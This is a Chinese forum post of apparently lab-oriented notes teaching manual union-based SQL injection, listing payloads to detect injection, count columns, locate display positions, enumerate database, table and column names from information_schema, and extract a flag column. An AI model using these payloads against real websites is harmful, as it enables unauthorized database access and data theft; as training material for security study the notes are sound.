firemail

标题: 白帽速成!3天教你一招渗透江湖绝学!网络安全web安全信息安全 [打印本页]

作者: Qter    时间: 2021-7-4 14:54
标题: 白帽速成!3天教你一招渗透江湖绝学!网络安全web安全信息安全
本帖最后由 Qter 于 2021-7-4 19:16 编辑

录播用软件:Bandicam

01.从0入门SQL注入

  1. 1.判断是否存在注入,即有没有被当作代码被执行
  2. 显错注入
  3. id=1 and 1=2
  4. id=1 and 1=1
  5. id=1 --> id=2-1

  6. id = 1 and sleep(5)

  7. 2.判断字段数

  8. select * from admin order by 1
  9. 上面和1代码按表admin的第几个列进行排序
  10. 从1开始编号

  11. .../index.php?id=1 order by 3
  12. 有几个列,就有几个字段

  13. 3.判断显错位---显示各字段
  14. .../index.php?id=1 union select 1,2,3

  15. select * from admin union select id,123 from test-----union前后选择出的字段要一致
  16. 如admin有两个字段,则后面可以用123填充,以匹配列数,做填充位


  17. .../index.php?id=1 union select 1,2,3
  18. 这样返回原表的第一条记录

  19. .../index.php?id=1 and 1=2 union select 1,2,3
  20. 这样原表数据不起作用了,后面union语句的1,2,3就是查询的结果了
  21. 即第一条查询不到数据,后面的就起作用
  22. .../index.php?id=100000 union select 1,2,3


  23. url编码 20%代表空格

  24. 4.利用显错位显示库名
  25. select database();--显示库名
  26. .../index.php?id=1 and 1=2 union select 1,database(),database()
  27. --显示表名
  28. .../index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'
  29. --显示列名
  30. union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 0,1
  31. union select 1,column_name,3 from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1
  32. union select 1,flag,3 from error_flag

  33. 显示所有列
  34. union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='error' and table_name='error_flag'

  35. 如果id字段为字符串的查询,如:
  36. id='1 and 1=2'
  37. 这时要手动把单引号给结束掉,并加注释,防止--后面的空格被忽略,并使用代码中的单引号进入注释
  38. id='1' and 1=2 -- q

复制代码
z





欢迎光临 firemail (http://firemail.wang:8088/) Powered by Discuz! X3